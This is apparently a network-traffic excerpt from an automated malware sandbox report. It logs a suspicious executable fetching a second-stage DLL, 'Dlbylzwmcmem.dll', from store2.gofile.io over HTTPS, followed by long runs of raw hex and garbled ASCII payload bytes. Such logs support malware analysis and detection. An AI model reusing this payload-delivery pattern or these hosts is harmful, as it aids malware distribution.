2021-10-12 00:46:19 UTC	2103	IN	Data Raw: b0 8a 2c d6 25 68 7d b8 3b a6 20 06 a7 fe ae 1b f7 6d 27 4c 6a 6a 6e 26 41 2c 3f 31 c4 47 8f fc 73 93 71 39 ef ec 76 f9 68 31 49 37 0d 80 c6 b2 a1 65 eb c5 bf 3e 8d ea 4a d9 92 91 65 f3 90 c1 f2 0e 49 b1 3c a5 e5 4a d8 75 cc 98 45 f0 b8 4c b7 39 3c 6e f1 ee a9 fd 9b 32 af 70 15 35 8e 24 e7 fe b0 e2 b7 70 76 19 98 c0 37 d2 17 2d 6b 7d 88 4f bb 5a 1c 4e e5 ff 4a de 85 dc 33 30 59 36 14 4c 88 2b bd 90 fb 0b 5e 66 34 12 7f 54 20 5f a0 d6 70 0d 40 30 61 31 83 69 9e 4b 55 96 c4 64 c5 91 80 bb b9 c4 55 c7 39 86 ee 49 e8 13 dc c8 77 31 ab cc 60 b3 22 0d cd 83 d8 9c dc 24 81 2c 10 f3 3a 40 91 89 4f f2 19 c0 bd e2 6d 72 6c 5f 21 dd 62 49 22 c9 4b 2a 52 d7 88 25 ed ff 23 5a 55 fd a3 a1 69 40 37 da f5 ac 92 e3 5c 82 3e 0e af 7d a4 9e 35 3f 7f 7a 7f 31 cd 9c f2 72 02 Data Ascii: ,%h}; m'Ljjn&A,?1Gsq9vh1I7e>JeI<JuEL9<n2p5$pv7-k}OZNJ30Y6L+^f4T _p@0a1iKUdU9Iw1`"$,:@Omrl_!bI"K*R%#ZUi@7\>}5?z1r
2021-10-12 00:46:19 UTC	2119	IN	Data Raw: 81 32 f3 70 dc a9 e9 da 16 c6 88 60 0e 9c d3 6a f4 f0 3a db 8c 0d 7b 54 24 92 bd 5a 5e 25 67 5f e3 6c 10 77 f9 05 b7 93 b1 59 a9 ce 2d e5 3f e0 59 3c 5a bf 03 03 86 36 cd ba 0f aa 5e 58 35 b2 19 f4 59 3f 3a a7 c7 d8 f5 bf bf b1 8f c3 ff be 4f 35 d2 55 6e ea 87 12 17 ad bc 9a 5c e1 ba 63 48 97 b2 37 14 dd 82 07 d2 50 a3 84 3c f9 94 b1 47 f8 9b ff 2c 88 3c ed f7 6a 5f 1f fc 19 39 de 0f cb 74 71 79 0d 1e 3d 6f a5 23 2e 6b c1 42 38 7f c6 a7 96 e5 61 28 d1 5c c9 7d 2e 7c 8d 76 a7 c8 58 45 db ce 37 cf 21 74 72 2b 7f 0e ab 8d 9c 3a 4a 26 d3 3f 0e c1 a7 ea 55 9c f9 3b 12 d7 71 a8 88 30 a1 8a 5f 47 b2 6b 11 a8 f0 ab 72 c6 09 fa a3 29 d7 9f 10 8f 55 43 f8 1d 03 90 c8 58 38 fa f2 89 a3 d7 aa 11 c1 9e 59 98 23 b2 45 47 3b b7 dc dd 10 b5 44 c4 1c 55 e2 04 54 f5 9e 2e Data Ascii: 2p`j:{T$Z^%g_lwY-?Y<Z6^X5Y?:O5Un\cH7P<G,<j_9tqy=o#.kB8a(\}.\|vXE7!tr+:J&?U;q0_Gkr)UCX8Y#EG;DUT.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49749	31.14.69.10	443	C:\Users\user\Desktop\FYrMKmDjFi.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-12 00:46:19 UTC	2126	OUT	GET /download/6f4c6241-0142-4b69-a781-3b6b1e13dbb5/Dlbylzwmcmem.dll HTTP/1.1 Host: store2.gofile.io Connection: Keep-Alive
2021-10-12 00:46:19 UTC	2126	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Disposition: attachment; filename="Dlbylzwmcmem.dll" Content-Length: 1088008 Content-Type: application/octet-stream Date: Tue, 12 Oct 2021 00:46:19 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Powered-By: Express X-Xss-Protection: 1; mode=block Connection: close
2021-10-12 00:46:19 UTC	2126	IN	Data Raw: 5b db 98 8f 52 c7 a2 c3 18 df 30 d4 99 08 c4 fb 6d 31 ef 51 86 58 f2 0e cc 2f 68 51 df 3a ea cb 59 65 4e b6 a1 98 58 60 59 65 4e b6 a1 98 58 60 59 65 4e b6 a1 98 58 60 ad 70 c2 2e f4 17 6c fc 28 04 1a 10 3e ca 95 94 39 3c 7d 1c af 33 26 7c 0f 81 28 fd ab df 9c 1d f2 11 11 7d 15 6e 15 2c b8 71 33 0c 4a ef fd 09 47 55 5b 98 e5 d5 35 8a ac 13 80 e1 bd 99 dc 60 ab 75 8e dc 7a c4 78 cb 35 83 fa 7e 5b 7c c7 3c 7c 16 6d 9e 7a ad 90 8e ea e9 0e 2b 4c 20 f8 fd 7a 5f 5f 54 70 1d b6 b9 e6 66 70 5c 21 62 8e 2e 39 cd c7 23 6f ea 9f 2c 7e 3b 4e 22 7a b3 1b ec bb 35 ce 3c d9 ed 70 ff 1e bc ed 0d 07 82 a7 ff 1e bc ed 0d 07 82 a7 ff fe 93 d9 59 d3 da 25 ed aa eb 79 16 50 21 d5 36 05 e9 0f 49 0f 6b bf 25 05 e9 0f 49 0f 6b bf 25 4c ff 8a e0 11 69 f7 a0 59 65 4e b6 a1 98 58 Data Ascii: [R0m1QX/hQ:YeNX`YeNX`YeNX`p.l(>9<}3&\|(}n,q3JGU[5`uzx5~[\|<\|mz+L z__Tpfp\!b.9#o,~;N"z5<pY%yP!6Ik%Ik%LiYeNX
2021-10-12 00:46:19 UTC	2127	IN	Data Raw: bb 5a a0 e1 c1 98 05 43 3d e6 d1 cb b4 30 0c 58 9f f6 9e fb 77 72 a1 12 d0 82 8e 50 d8 47 9c 58 34 5a a5 6f 57 fb 74 3b 7a 3b 45 98 f3 4e d2 e0 c1 c1 81 da e6 d8 17 3e f2 32 0d 50 a4 5d 58 43 d6 29 ea 3f e0 39 99 06 40 2a a1 e9 9f a6 2d 01 bf 07 78 96 ee a4 85 64 2e 5b c9 a7 45 97 48 1b cc a4 66 ae ad f5 6b 3c 4c 2e 09 d0 7f 08 eb 26 f1 ba 25 5c 72 c7 e8 95 50 13 69 81 7f 42 46 2d d4 a0 3b b5 0d d1 3a 56 fd 13 e0 99 34 c8 d0 f8 a9 5b 45 b9 f4 6b 4d 33 8e d3 f9 90 be 13 f7 eb 0f f3 8e d6 b6 a2 39 37 01 b9 dd 3e a7 99 ab e7 17 3c 79 58 8d 2f ab 07 58 58 24 c4 c0 16 b6 b2 ed 44 4d 2d 2f 6b 8d b3 d9 dc f2 4c 5f e2 6c fb 46 da e9 5f 20 5a 33 f3 bf 3c c3 17 9e 49 53 61 89 67 43 d5 d6 b8 2d 35 ef d0 4f 6d e9 1b 2d e8 c7 ec 5b b4 11 9d b8 0a 4f 6a 62 ff d1 53 f3 Data Ascii: ZC=0XwrPGX4ZoWt;z;EN>2P]XC)?9@*-xd.[EHfk<L.&%\rPiBF-;:V4[EkM397><yX/XX$DM-/kL_lF_ Z3<ISagC-5Om-[OjbS
2021-10-12 00:46:19 UTC	2129	IN	Data Raw: 02 cf a8 5e 28 2e 70 b6 08 06 60 49 14 86 66 39 3f a8 f2 67 8a f6 bf ad 0d 19 a8 6a 90 ef 70 0e d8 08 f7 86 1c 43 5b 1a 98 d5 33 d2 58 7f c3 07 11 4a 2d 43 80 c7 f4 ca ab ba ec 45 d9 73 c4 c2 8b 5c 7d 0d ac bf e2 32 cd 3e 7d 06 31 c9 a6 34 1b 8a 06 6a 62 1b d5 85 98 cb a5 7e 25 16 ce 09 1f ed bc 24 d2 4c 38 b8 36 08 d9 50 ab 1b 73 83 58 cd c2 98 06 83 39 7c 89 1f 70 78 9d b5 88 7c 11 f2 90 eb df 7e 28 a9 3a 73 3b a5 ec 61 61 87 43 35 c8 b9 66 ec 7a 88 73 52 4a 95 4f d1 7e 41 87 e0 d0 05 3f d3 51 70 58 96 34 2f 5a cb e0 3c cd ad 13 f8 83 a7 32 5f fd 24 f4 00 d3 27 6d 8f 01 d0 05 50 fb 2d d9 fa 6f a7 a0 da 1d 54 3e fd 69 e5 6f fe bf 58 57 1f b1 bd a7 47 8d ef 0f 01 3b d8 f8 83 8b 34 9a 5d e3 a2 d9 fe 9b 06 ab 88 2b f9 9e de e2 71 f9 b8 22 ec ac b9 9f 20 b3 Data Ascii: ^(.p`If9?gjpC[3XJ-CEs\}2>}14jb~%$L86PsX9\|px\|~(:s;aaC5fzsRJO~A?QpX4/Z<2_$'mP-oT>ioXWG;4]+q"
2021-10-12 00:46:19 UTC	2130	IN	Data Raw: ce a0 57 03 81 6f 49 42 3e 3d 49 f6 88 86 c9 df 4f 63 aa c3 b3 59 4f f5 ac 66 5d e9 ce 10 77 f2 da 38 f3 93 01 63 d1 2d 01 e7 9e 44 0a 5d f9 29 e5 aa 51 14 45 87 4a 84 76 ac 1a 92 70 60 c8 ee 07 b1 04 27 fc 32 3b fe 6a e9 bb 65 4d cd eb fb e9 77 03 52 e3 2a f0 53 f3 ed b7 a0 2a 88 61 fe 94 4b 16 07 70 81 a3 6e 15 f7 2e 54 9f 9f 99 ac a6 73 b2 e6 9b bb 15 58 2d e3 1a 9e e5 01 63 2a d7 9a 16 7d 50 6c 7d f3 fc d1 b6 ff da f3 34 de 10 83 3b 03 a1 59 23 fa 47 63 8c 9e 3e 21 08 bd a7 47 8d ef 0f 01 3b 88 2d 06 7e a3 bf 53 a4 00 fd 84 cf 8f f0 02 bb 1a 5f ff 22 c4 31 d8 22 8f f8 8a 20 e3 1b 9f db 94 ba 4c 49 2b 57 0c 46 ad c6 76 c1 cd 9b 4f 72 4e df b7 fb e5 8e cd d6 6d 9a 05 67 3a 07 f4 b0 7b b8 5a cd 10 43 eb 21 b9 28 55 44 d1 79 07 ab 50 e3 55 ae 8f 21 ce aa Data Ascii: WoIB>=IOcYOf]w8c-D])QEJvp`'2;jeMwRSaKpn.TsX-c*}Pl}4;Y#Gc>!G;-~S_"1" LI+WFvOrNmg:{ZC!(UDyPU!
2021-10-12 00:46:19 UTC	2134	IN	Data Raw: 75 7c 13 97 69 21 a5 42 70 58 24 5f 8f 9e 31 0d f9 4c 47 f0 c1 a9 d7 92 05 38 0b f7 dc b4 ad 36 e3 f3 f6 ac 72 b0 c2 37 c6 d5 bd 39 b8 16 01 46 60 08 ca e9 27 06 e8 c2 69 89 bc c3 38 94 b4 28 a8 9a 64 5f 91 db b0 23 53 41 b6 99 70 5c 73 c2 69 89 bc c3 38 94 b4 c0 e8 79 fc 19 0f ab 23 21 01 00 f2 c6 c1 2e 2c e0 0f d8 e1 66 7f 8c 92 a1 04 24 20 b5 3c ee df 99 6f 5a eb 4a 35 7b c3 0e e1 39 59 ff d1 c3 f8 f4 76 58 cc 6b a9 05 63 25 4f ab 5f 18 cf 3b f1 eb 84 42 30 34 d4 5c b3 a0 c4 be 90 b6 c8 2d 03 55 19 59 9b f8 36 cf b3 4d 56 9c 3f 03 72 60 d1 9f 24 06 81 26 c5 03 52 cd 08 a1 75 7f 4e 62 a2 d0 35 1e 97 69 cb 2e fd 48 cb 43 6d f2 fb d4 58 29 27 00 eb 7c 40 67 cc fb e9 77 03 52 e3 2a f0 32 f7 52 81 2e cd 76 de 03 21 30 4a d8 ea b4 28 31 16 2d c9 34 31 34 92 Data Ascii: u\|i!BpX$_1LG86r79F`'i8(d_#SAp\si8y#!.,f$ <oZJ5{9YvXkc%O_;B04\-UY6MV?r`$&RuNb5i.HCmX)'\|@gwR*2R.v!0J(1-414
2021-10-12 00:46:19 UTC	2140	IN	Data Raw: 58 58 24 c4 c0 0d 02 ab e8 24 be 16 06 20 6a fb 7b 6f b6 28 da 9a 6c 04 dd e0 97 26 e0 b2 58 b9 e5 8e c7 b1 0e 4f 4f 81 3c ea 13 44 74 eb 66 5b ac 34 64 22 97 38 37 f8 90 53 95 0a 5a c6 db 2a 6a 6f bf 38 f7 28 52 18 ad 30 a2 b9 d5 e2 33 b7 49 7a a4 a3 7c 72 d2 56 a9 df 6d 27 54 7e d7 a6 5d 7e 58 15 6a 64 f3 ab 56 1f 4d dc 34 70 f0 c2 02 55 f3 f5 c0 62 e7 a6 99 92 65 94 75 56 9e 66 75 4d 65 4a 69 74 4b 95 b0 47 2c af e4 e0 20 7a d6 c6 1e 8d 76 9f df 83 00 68 29 3b 7c ac 28 af 48 c1 48 a6 1a 90 28 2c b6 d0 0a 17 99 20 35 38 95 1f c6 d2 5a f2 1f 08 dc a7 96 59 1d 31 98 3c 92 0f 46 49 b2 05 9d 57 20 82 a3 8c 93 d0 b0 1b 3c f4 6e 72 e7 7f 01 5c 38 78 fb 68 57 fa 46 27 08 42 34 80 4f d5 86 5f 58 3d 9d c9 4f e7 f3 dc c0 d3 29 b3 39 a7 4a b3 68 98 5b 69 33 38 51 Data Ascii: XX$$ j{o(l&XOO<Dtf[4d"87SZ*jo8(R03Iz\|rVm'T~]~XjdVM4pUbeuVfuMeJitKG, zvh);\|(HH(, 58ZY1<FIW <nr\8xhWF'B4O_X=O)9Jh[i38Q
2021-10-12 00:46:19 UTC	2147	IN	Data Raw: 8a d7 f9 8e d2 f2 83 d4 3e 63 50 91 9f 92 03 3d c7 d8 aa a7 74 98 8c 6f b3 90 94 c5 ff 57 eb 8f 8a 72 25 3c b8 24 ae 3b 96 46 15 ab c4 0e 44 bb 3a c8 d2 30 41 3d 50 75 a9 0a d6 f1 ca 23 3b b1 20 92 bb 7d 08 a8 3c da e7 43 8e 20 4e 4a 4b 79 f2 3b 4c 4e e8 1c f0 a9 2d 64 3d 43 d4 bd 57 30 15 85 39 13 7d 5e 00 6f fe 4b 14 d0 e9 68 d3 a2 d5 8e 64 2d ad e4 cc 64 6f 2c 06 33 4d 0d 5d 00 e6 6d ee 91 e9 20 24 dc bc 76 18 2d f7 be 03 fd 24 b9 9f d0 35 28 e7 f1 99 4d 74 b0 d6 67 e1 43 d4 f8 8a 23 5a e7 71 33 27 8d 9e 38 23 92 71 2a 3e 69 a5 06 18 12 3e 5b 27 b2 70 b4 79 4c 13 77 a5 86 bc a1 a2 97 04 be 03 71 09 c9 f9 77 52 44 ef 6d f1 bf 83 22 20 3b 07 30 a3 67 c1 ad 3e 58 13 dd a7 84 2a c6 75 39 a7 8e 73 2a 15 e0 ee 0e 65 fc 3b d8 42 32 df 22 58 14 35 93 65 3f 4a Data Ascii: >cP=toWr%<$;FD:0A=Pu#; }<C NJKy;LN-d=CW09}^oKhd-do,3M]m $v-$5(MtgC#Zq3'8#q>i>['pyLwqwRDm" ;0g>Xu9s*e;B2"X5e?J
2021-10-12 00:46:19 UTC	2155	IN	Data Raw: 04 fc 9e 22 5f 5b ca b4 52 24 67 3a 0c ae fa 12 a8 d0 68 e7 57 d1 1e d6 0f ec 80 fb b0 5a b3 4f 46 a7 39 d3 5f 90 6c 6d e8 d6 3c 3e bc e6 d1 26 9b 41 71 78 fd 24 0d 41 62 7b c9 ab 26 78 fb fd cc f4 c1 7d 53 8d a5 8d 7f c0 ab e5 aa 76 60 59 ac 84 75 9e 56 9f f2 19 19 e2 7c e6 6e 69 a0 ba 37 c7 80 65 85 08 eb 2e a8 84 d7 6b 1f 17 87 2c 19 35 c6 d2 16 b0 b5 85 f7 eb 14 5e 8f 60 c8 7c 62 48 d1 a1 5b 1e be 5d 24 00 14 2f 8e 7d bf d1 ac b4 d4 7e 4a 68 09 30 96 88 7f 6a b9 5c ac df bb f8 ea ab 66 94 b4 8e ac 02 bb 96 c4 88 e7 4e c3 7f 2b 09 f3 b8 e8 e4 55 0c ac d5 20 0d 72 cd ba 33 c1 f4 09 06 d4 67 0e d9 43 98 78 9d 9a 57 9b 31 bb 51 81 ec 75 50 37 e5 f5 04 d1 81 99 79 db d3 78 86 d3 a7 4b 1f 32 3a c5 23 05 a0 c1 cd ee 92 05 dc 1a 9d 8b 32 10 eb 7f a6 59 27 cd Data Ascii: "_[R$g:hWZOF9_lm<>&Aqx$Ab{&x}Sv`YuV\|ni7e.k,5^`\|bH[]$/}~Jh0j\fN+U r3gCxW1QuP7yxK2:#2Y'
2021-10-12 00:46:19 UTC	2158	IN	Data Raw: 72 18 fd b9 cd 12 da 92 84 aa 60 36 b1 65 ef 57 51 e7 1f c9 cd 60 c8 be 4f ba cc c4 45 44 77 d9 91 20 bd 09 5c 54 7f cd 1f 08 d2 af 57 e0 da 00 cc ed d7 e5 29 b3 9c ab ee 47 42 b7 82 b3 b2 e9 80 48 a9 f0 8f 76 42 18 0c 9a 9f 6d d7 0c 21 8c bc 8e 8c a5 7c a9 d7 2f 13 34 dd 98 38 8c a5 40 70 f7 48 c1 36 12 9e 57 15 8e a3 65 0a 3d c5 0e 31 4e 24 18 e0 fc 95 8a 13 93 1d f0 dc d3 59 c7 c9 83 c8 56 a8 69 76 d5 a1 2e 0a 0c 73 6c ae 2e c5 8d b0 45 bd 72 e7 fc 13 5e 50 89 83 fa ef 45 6f 3a 47 a8 12 6c fd db dc 33 a0 ea e0 28 a3 94 a1 2e 0a 0c 73 6c ae 2e 46 99 6b d7 c0 36 eb 7e e8 26 82 31 7d 8a 33 e3 c5 24 ce 0a 66 3e 75 34 dc 66 c8 b3 02 23 e7 35 6b 1a a8 65 e8 36 8c 11 ef 54 34 00 86 27 f9 d8 b6 0e fa 24 62 f2 ae ec 62 ea 81 d1 da 68 b6 43 b3 bd d5 29 7a 52 53 Data Ascii: r`6eWQ`OEDw \TW)GBHvBm!\|/48@pH6We=1N$YViv.sl.Er^PEo:Gl3(.sl.Fk6~&1}3$f>u4f#5ke6T4'$bbhC)zRS
2021-10-12 00:46:19 UTC	2169	IN	Data Raw: 08 58 b8 2a 73 da 65 48 f1 22 49 01 fb 63 75 58 6f ea 06 e7 28 a7 ba 97 aa 42 57 78 86 53 ff 5a a1 3b ce de ea 10 ac 80 ec 25 6a 5c 0a b2 05 d4 26 9c 85 13 62 37 35 f5 e6 38 27 d6 3e cf 6c 2e 92 78 be 2b 2b 2f 87 58 8d 67 00 ec 4a 42 84 47 7a 52 6c 5a b1 4b 36 ee c7 4d c8 fd 56 60 42 1b e5 13 43 b9 97 93 c7 a2 b1 d8 69 f0 78 4b 8b ac 17 70 4b 1d 4c b6 0b 8e 69 55 c2 38 6a 41 28 91 c7 74 60 87 7c 3d a4 cd 56 3b 1f fe 3b d5 3c 19 06 82 fa a5 af e3 88 38 02 a2 f7 1b b4 32 24 61 ce fc 12 97 da 45 1b de 9a 0a 83 9e f6 35 b4 08 e5 26 06 39 3f f3 5b 14 b9 36 b4 13 f0 23 ea 9d b6 cd 1f 63 b1 ba b7 97 4f 7b 3c c5 08 51 4c c0 c7 d6 c0 0b 2d 7e d7 07 27 92 81 80 63 42 ca 72 27 da e3 c6 7d b2 b3 49 a2 e5 ab c9 3d 47 19 0c 40 af 67 dd 46 5d bb e2 d3 55 02 86 0b 63 03 Data Ascii: X*seH"IcuXo(BWxSZ;%j\&b758'>l.x++/XgJBGzRlZK6MV`BCixKpKLiU8jA(t`\|=V;;<82$aE5&9?[6#cO{<QL-~'cBr'}I=G@gF]Uc
2021-10-12 00:46:19 UTC	2180	IN	Data Raw: f4 f0 1b 8c 36 0c 48 dd 6a 19 c6 d3 6d 31 7a 95 7b 3d 5d 90 3a b8 b4 a7 8d 28 37 f4 fe dd 40 27 eb 70 f3 a8 3a 36 04 32 60 e8 38 85 3e 48 43 54 1b 63 cd 8b c9 9f 0f 28 71 e8 18 92 17 35 15 f3 75 d6 0d eb 72 d2 48 2a 4b 4b 76 af 3d 25 d6 87 b7 c1 70 1f f6 b1 7b 6e 8c e9 47 1c ac c9 ea 8b 29 a8 04 f6 4e 23 fa 58 fa 80 f6 85 3c b8 35 2d a7 46 81 4e 70 05 49 9c cb 77 b1 44 ef 5f dd 1b 6c 03 f7 3c 9b 0c 83 73 df 60 97 d1 f7 7d 7e 82 a7 9e 37 bb f9 f7 34 b1 aa 97 e1 67 e9 84 36 80 8e 8e ed bf 38 55 99 ce 0a 43 6d 89 39 bb 65 a3 fe a0 54 e0 6f ea 05 57 43 eb 23 1f a1 11 1d c1 36 f5 63 18 88 2b 6c 0e 43 66 52 bb 78 e7 24 cc 90 19 68 2d 76 68 54 ac 9c b3 a9 c5 0c f8 66 b8 b0 17 c1 d0 0a ae d1 15 89 c8 5d 8b bd 91 f4 02 ac ea 04 0a fb d1 fd ee dd bf 6e 3c 97 b1 aa Data Ascii: 6Hjm1z{=]:(7@'p:62`8>HCTc(q5urH*KKv=%p{nG)N#X<5-FNpIwD_l<s`}~74g68UCm9eToWC#6c+lCfRx$h-vhTf]n<
2021-10-12 00:46:19 UTC	2190	IN	Data Raw: be 41 98 bc a2 48 98 c0 c6 31 9e 82 a5 b1 5a 39 bc c1 2c 3c 4d 7d 95 33 83 c9 ef b5 1b 5b eb 13 ab 05 c3 9a c8 b4 cb cc ea 2d 80 83 f7 bb 0b d5 43 d9 2e c2 a6 b7 96 04 6b 56 10 77 ee ba 3f ca bf f1 90 76 43 8c 81 50 60 93 8f d4 78 6e a5 b7 09 2c 60 bc 06 4f be 8f 7a 8b 9e 53 eb eb 9a 35 95 c1 e3 a1 79 f8 59 e5 39 e8 4c 74 53 f2 da 26 90 b5 8f ce 11 8e 22 5d d8 1a 8b 59 c2 f4 df a1 9e cc 92 16 89 ea cb ed 45 97 e8 56 b1 18 03 c5 52 47 75 25 af 71 88 3c 83 01 c9 80 09 21 2e 85 4b 28 4c 85 b0 07 89 e6 ad 54 de 7c 77 97 6f 8c b1 2a cc e1 58 7a b0 ea 2a 62 68 57 ac 85 4b 40 bc 6d bf 6b 7c 67 bc 70 65 78 b0 17 07 d5 08 f0 4e 93 d7 f8 fb 68 02 9f 2f 53 04 6c fd cf b4 c7 57 50 fe d5 d8 9a 80 20 65 ef b7 ca 58 9f 78 9c bd b7 34 71 17 8e 69 cb a8 11 b5 94 8b 45 04 Data Ascii: AH1Z9,<M}3[-C.kVw?vCP`xn,`OzS5yY9LtS&"]YEVRGu%q<!.K(LT\|woXzbhWK@mk\|gpexNh/SlWP eXx4qiE
2021-10-12 00:46:19 UTC	2204	IN	Data Raw: d2 7d 65 7c e2 f3 60 13 0c 9e be bd 8c 64 3b ea a8 c5 6c d6 7d fc c5 0b da 34 35 28 93 3f a2 27 68 e3 54 03 68 46 1c 1e 60 d4 a1 b9 00 99 aa b0 2e d1 88 d6 50 00 18 32 8c e3 66 86 f5 53 7b 08 04 51 db 91 a6 1d 9e 46 f5 8d c6 dc 5f c3 7d 00 23 8d 63 70 0b d5 de 59 cc f5 10 f5 2f 8b f0 c4 95 54 7a a7 b2 5d ba 45 ed 33 11 8e be 07 bc 76 10 4e 97 06 10 ab 4d 9e 1b 77 f9 31 e8 91 4b 02 3c 02 2b 1e c5 f3 c9 76 3b 97 2f 39 2d 88 49 c6 f8 73 35 73 57 91 84 69 31 e3 45 a7 0f 26 93 b7 74 c2 f5 66 28 3c 64 c5 f5 9e 22 a6 28 ad 44 89 52 f5 2c 78 19 4a 61 19 7a 2b 91 bb 8a f1 ce 34 8a d3 ba ab b8 6a 0e 98 dd 4f f8 34 62 75 45 9e 9c 98 a9 69 da b6 bd aa 02 a2 6b 34 7e d9 32 c4 7e 6b c8 7f 74 16 a4 13 68 f5 e0 96 f5 f2 55 6a 3d fb 46 d5 57 85 12 eb b2 a7 03 20 ea 94 c7 Data Ascii: }e\|`d;l}45(?'hThF`.P2fS{QF_}#cpY/Tz]E3vNMw1K<+v;/9-Is5sWi1E&tf(<d"(DR,xJaz+4jO4buEik4~2~kthUj=FW
2021-10-12 00:46:19 UTC	2219	IN	Data Raw: d8 b0 aa f7 e1 51 04 97 f7 24 e3 45 97 f9 37 6b 99 2b 8a 10 8b d6 e1 36 07 3e 99 07 d9 37 6f a1 3b 0b dc 70 e6 e9 a4 56 98 e8 02 1b c4 bd 7d 36 f9 ad 91 b7 92 52 d7 87 c3 3f eb a0 ff 54 19 d7 66 ab 78 23 9a 2a 0c 06 c7 68 5d 33 c5 4f 23 1a 82 d7 ed 15 3f 38 c3 04 97 fe 13 12 8c 56 5d ac e3 64 a9 d2 5b 69 cb d7 7a c7 99 de f2 9a 7c ef 55 e0 e3 72 f2 43 c1 c5 b6 d2 88 1c 77 3e ea 47 b7 a3 66 ed 66 10 6a d8 57 b0 ad 1f b8 e6 25 98 d3 bc 5c ee dc 12 c1 1e 83 69 02 11 c5 cf 21 0f 1c 94 43 6f 4a 8b 95 ea 31 a2 f3 53 a2 13 ad 14 31 c4 32 c3 10 3b 51 0a 32 02 7a b6 7b 07 44 5d d4 6e 62 ca 59 de 19 31 24 89 87 e3 cf 25 c9 bf e8 57 1e 52 35 b6 e2 25 72 5b f1 81 85 b0 fb b7 a1 c5 ff cb 7e be 83 28 2d 29 49 f1 57 c7 cd 7b df 32 30 5d 2a 2c 44 79 37 9b 42 ba 2b 5f 2e Data Ascii: Q$E7k+6>7o;pV}6R?Tfx#h]3O#?8V]d[iz\|UrCw>GffjW%\i!CoJ1S12;Q2z{D]nbY1$%WR5%r[~(-)IW{20],Dy7B+_.
2021-10-12 00:46:19 UTC	2222	IN	Data Raw: 6b a4 1b 79 81 28 17 70 1c 70 27 b7 b2 07 7e db 11 1b b1 ce 79 8a f2 0a 99 e0 19 22 33 76 a9 fe e8 46 5b 45 1b a3 80 08 4b 7b 19 af f4 93 5d 4c f3 79 53 ca 27 26 a3 fa 57 13 44 7b da e6 db ca 51 c3 f2 21 76 19 9f 82 0f cf 6f 99 8c 03 93 eb 66 8f c8 ca 6c a5 fb c4 21 a8 29 86 bc 50 30 4b 3b 0b 34 65 59 69 6c 72 71 09 2b 7e 69 8b b7 3f df 61 f0 63 f1 b8 8c 48 71 ce b1 3b 4e 7e 1d 35 d1 4b fd 63 2f 23 bc cd df cc 82 ac 0f bf 9b 68 e1 12 82 96 44 34 92 09 0a 45 17 f7 89 92 f4 82 6a c3 41 eb f8 0b f1 e3 98 e2 b2 05 46 2a 19 0f c8 bd dd d3 df 3f 24 ac 61 eb 03 61 34 1a 71 9f 67 48 25 3b 57 01 a9 cc d2 26 61 dc 5f b0 6b 95 a6 e7 83 2b 5b e8 43 f0 9f 46 be f4 9f 4a 02 cc ec 0a 79 10 55 60 da d0 fd d3 7b d2 5c 66 a0 bb 66 e1 af f8 d7 1a b8 4d 4d db 87 f1 e1 5a 68 Data Ascii: ky(pp'~y"3vF[EK{]LyS'&WD{Q!vofl!)P0K;4eYilrq+~i?acHq;N~5Kc/#hD4EjAF*?$aa4qgH%;W&a_k+[CFJyU`{\ffMMZh
2021-10-12 00:46:19 UTC	2238	IN	Data Raw: 17 28 e1 60 ab ef 2f 37 c6 87 89 bb 79 19 8b ae aa 3b bf a1 62 b3 1f b7 4d a4 0e 2c 5c 0f 97 9e 91 1a fe 6c 72 5f 71 f0 00 38 5a f0 e4 9f f6 d6 e1 22 21 3f 5f 88 45 25 82 21 12 49 cf 8b 24 94 6a 8b a8 03 d8 08 d6 f1 84 db 13 a4 4a 59 d2 b8 7e f6 08 5c 2d 4a 2e a5 ec 7a 86 dc 2b 24 aa a2 b7 74 ad 3a 1c 35 cc 5c 5b 54 7b b8 6c 75 34 ad f2 c1 e5 af f7 a4 5f a4 5f 6a 7d 7a 09 9b 7c 66 51 ce 41 c1 a2 69 71 e2 d7 55 c0 47 48 7d d5 76 9a aa 09 b9 4a 27 f7 99 0c 18 3c 91 e3 97 e4 59 90 8e e6 55 76 a9 12 9f 01 44 c8 fe 42 8e bf 81 e1 2a 1d 8c 01 e7 4a 1f 38 d8 bc 64 19 b2 47 bb 1b 3e f0 df 7a 11 7a d5 a9 78 aa 1d 18 12 2d 19 d1 e8 95 1d b2 ab 12 3b fe 33 be 2d e5 9e dd cb 65 22 19 7e b0 68 43 b8 68 8a 90 0b 77 91 a0 d4 1b 1c 96 58 d8 70 24 88 c7 30 bc 3e 93 11 e8 Data Ascii: (`/7y;bM,\lr_q8Z"!?_E%!I$jJY~\-J.z+$t:5\[T{lu4__j}z\|fQAiqUGH}vJ'<YUvDB*J8dG>zzx-;3-e"~hChwXp$0>
2021-10-12 00:46:19 UTC	2254	IN	Data Raw: 7b bc 25 e4 83 e2 82 45 8a 58 c7 50 5e 61 3e c1 07 91 98 42 3c bf c3 22 e6 e8 b7 fd 0e 97 b6 d8 53 23 a9 0c bd 49 4c b6 64 f5 b5 09 e3 e6 0c 58 0f 3b f5 af 81 4f 2b d2 31 83 29 02 a5 52 b0 40 8b 01 9b 27 b3 52 1c 31 52 5b a4 2d 0a 9b 52 25 4f 8d da 38 34 86 8e e0 58 7d dc db 83 bc c2 df 5a d4 e5 d1 5f 73 5b 60 bd 91 52 d6 2c 66 74 24 2a 20 74 22 d7 98 6b 6a de f6 d6 c2 58 df ac cb fc 31 2d 01 e6 ef 56 3d eb e1 f2 ef fc 2f 8e 28 00 b1 72 1d 74 63 44 5d fe 8e df f0 74 d2 72 57 bd 5f a8 68 25 96 82 53 27 bf 3d f3 d9 4c e4 34 da 3e 14 78 3f c3 f7 8a 69 e4 73 e2 11 a8 fe 9b 36 1e 52 1e 61 ee 2f 37 74 42 d3 9d 8d 9e ba d6 bc dc c4 d7 35 46 e5 0e 18 e2 3f 35 a1 b6 1b cc 68 bd 62 ce 71 c4 1d 12 f7 3f fd b5 43 90 3f 8d b0 1a a3 5c 19 e4 8a 02 cd 04 1b ed bf f3 41 Data Ascii: {%EXP^a>B<"S#ILdX;O+1)R@'R1R[-R%O84X}Z_s[`R,ft$* t"kjX1-V=/(rtcD]trW_h%S'=L4>x?is6Ra/7tB5F?5hbq?C?\A
